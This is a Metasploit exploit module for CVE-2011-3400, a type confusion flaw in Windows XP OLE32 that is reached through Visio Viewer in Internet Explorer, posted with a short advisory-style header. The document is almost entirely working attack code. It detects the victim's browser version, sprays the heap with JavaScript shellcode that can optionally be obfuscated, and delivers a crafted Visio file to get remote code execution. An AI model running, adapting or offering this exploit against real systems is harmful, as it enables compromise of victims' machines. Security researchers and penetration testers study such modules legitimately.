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Microsoft Windows OLE Object File Handling Remote Code Execution

Microsoft Windows OLE Object File Handling Remote Code Execution
Posted Jun 7, 2012
Authored by Luigi Auriemma, juan vazquez | Site metasploit.com

This Metasploit module exploits a type confusion vulnerability in the OLE32 component of Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple function. A Visio document with a specially crafted Summary Information Stream embedded allows to get remote code execution through Internet Explorer, on systems with Visio Viewer installed.

tags | exploit, remote, code execution
systems | windows, xp
advisories | CVE-2011-3400, OSVDB-77663
MD5 | d3c565f4318547e83002b8fd42f13934

Microsoft Windows OLE Object File Handling Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Windows OLE Object File Handling Remote Code Execution",
'Description' => %q{
This module exploits a type confusion vulnerability in the OLE32 component of
Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple
function.

A Visio document with a specially crafted Summary Information Stream embedded allows
to get remote code execution through Internet Explorer, on systems with Visio Viewer
installed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-3400' ],
[ 'OSVDB', '77663'],
[ 'BID', '50977' ],
[ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ],
[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ]
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3 / Visio Viewer 2010',
{
'Offset' => '0x7ee - code.length',
'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
}
],
[
'IE 7 on Windows XP SP3 / Visio Viewer 2010',
{
'Offset' => '0x7ee - code.length',
'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 13 2011",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
# If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] # IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] # IE 7 on Windows XP SP3
else
return nil
end
end

def exploit
@vsd = create_vsd
super
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end

print_status("Client requesting: #{request.uri}")

if request.uri =~ /\.vsd$/
@vsd[5106, 2] = my_target['PtrToHeap']
print_status("Sending Exploit VSD")
send_response(cli, @vsd, { 'Content-Type' => 'application/vnd.visio' })
return
end

p = payload.encoded

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

js_pivot = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var i=1; i < 0x1e0; i++) {
heap_obj.alloc(block);
}
JS

js_pivot = heaplib(js_pivot, {:noobfu => true})

if datastore['OBFUSCATE']
js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot)
js_pivot.obfuscate
end

vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
vsd_uri << "/#{rand_text_alpha(rand(6)+3)}.vsd"

html = %Q|
<html>
<head>
<script>
#{js_pivot}
</script>
</head>
<body>

<object classid="clsid:F8CF7A98-2C45-4c8d-9151-2D716989DDAB" ID="target">
<param name=src value="#{vsd_uri}">
</object>
</body>
</html>
|

html = html.gsub(/^\t\t/, '')

print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

def create_vsd
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd" )
fd = ::File.open( path, "rb" )
vsd = fd.read(fd.stat.size)
fd.close
return vsd
end

end

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